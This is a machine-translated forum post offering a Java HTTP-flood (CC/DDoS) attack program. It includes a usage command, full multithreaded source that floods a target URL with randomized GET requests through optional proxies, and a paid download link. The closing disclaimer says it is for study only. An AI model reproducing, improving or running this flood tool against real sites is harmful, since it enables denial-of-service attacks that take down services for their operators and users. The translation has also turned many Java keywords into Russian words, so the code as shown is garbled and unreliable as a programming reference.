Эта статья является зеркальной статьёй машинного перевода, пожалуйста, нажмите здесь, чтобы перейти к оригиналу.

Вид: 15524|Ответ: 0

[Чаевые] Java-версия программы атаки D-DOS

[Скопировать ссылку]
Опубликовано 01.12.2014 15:21:57 | | |
JAR-код
dDOS-атака, реализуемая на Java.
Однако он ничем не отличается от традиционного dDos.
Это программное обеспечение — DDOS-атака на страницу.
Как использовать:
java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
импортировать java.nio.channels.SocketChannel;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* Демонические нити
*
* @author администрация
*
*/
Тест публичного класса {
    приватный String host, uri, param;
    частный международный порт;
    приватный конечный вектор<CCDDOSThread> v = новый вектор<CCDDOSThread>();
    приватный InetSocketAddress isa;
    private int threadsCount = 500; Количество нитей
    private Random r = новый Random();
    частный длинный тайм-аут = 5000L;

    /**
     * Откройте атаку
     */
    Public void start() {
        для (int i = 0; I < threadsCount; i++) {
            CCDDOSThread t = новый CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Таймер t = новый таймер();
        t.schedule(new TimerTask() {
            Публичный пробег() {
                int count = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                для (итератор<CCDDOSThread> it = v.итератор(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    если (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = null;
                        count++;
                    } else if (ct - th.start > timeout) {
                        Тайм-аут, внешний конец
                        timeoutthreads++;
                        th.setCancle (true);
                        th.interrupt();
                        it.remove();
                        th = null;
                        count++;
                    }
                }
                если (count == 0) {
                    возвращать;
                }
                System.out.println("Поток закрыт: "+count+", где связан поток тайм-аута:"
                        + тайм-аут-потоки);
                для (int i = 0; Я < считать; i++) {
                    CCDDOSThread th = новый CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("Начата тема Daemon:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        если (args.length < 6) {
            System.out.println («Инструкции:»);
            System.out
                    .println ("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } else if (args.length >= 8) {
            Наладить отношения с агентом
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        тест m = новый тест();
        m.host = args[0];
        m.port = целое число.значениеOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = целое число.значениеOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = новый InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Атакующие потоки
     *
     * @author Чжанхунбо
     *
     */
    класс CCDDOSThread расширяет Thread {
        частная булева песня = ложная;
        публичный длинный старт = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        публичный булев isCancle() {
            Возвращение Канкле;
        }

        Публичный пробег() {
            long start = System.currentTimeMillis();
            Селектор селектора;
            попробовать {
                selector = Selector.open();
                SocketChannel sc;
                попробовать {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = true;
                    selector.close();
                    возвращать;
                }

                sc.configureBlocking(ложно);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - start > timeout) {
                        cancle = true;
                        ожидание перерыва;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Итератор<?> it = readykey.iterator();
                    while (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > timeout) {
                            cancle = true;
                            ожидание перерыва;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Головка струны = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Хост: " + хост
                                    + «\r\n» + «Связь:близко\r\n» + «\r\n»;
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write (BBF);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = true;
            }
        }
    }
}
[/mw_shl_code]

Готовый продукт и загрузка исходного кода: java ddos.zip (8.42 KB, Количество скачиваний: 0, Цена продажи: 2 Grain MB)





Предыдущий:Давайте поговорим о крупнейшей загадочной DDoS-атаке с мощностью 400G в истории
Следующий:Отправьте iPhone 6, чтобы обсудить версию без взломов артефактов
Отказ:
Всё программное обеспечение, программные материалы или статьи, публикуемые Code Farmer Network, предназначены исключительно для учебных и исследовательских целей; Вышеуказанный контент не должен использоваться в коммерческих или незаконных целях, иначе пользователи несут все последствия. Информация на этом сайте взята из Интернета, и споры по авторским правам не имеют отношения к этому сайту. Вы должны полностью удалить вышеуказанный контент с компьютера в течение 24 часов после загрузки. Если вам нравится программа, пожалуйста, поддержите подлинное программное обеспечение, купите регистрацию и получите лучшие подлинные услуги. Если есть нарушение, пожалуйста, свяжитесь с нами по электронной почте.

Mail To:help@itsvse.com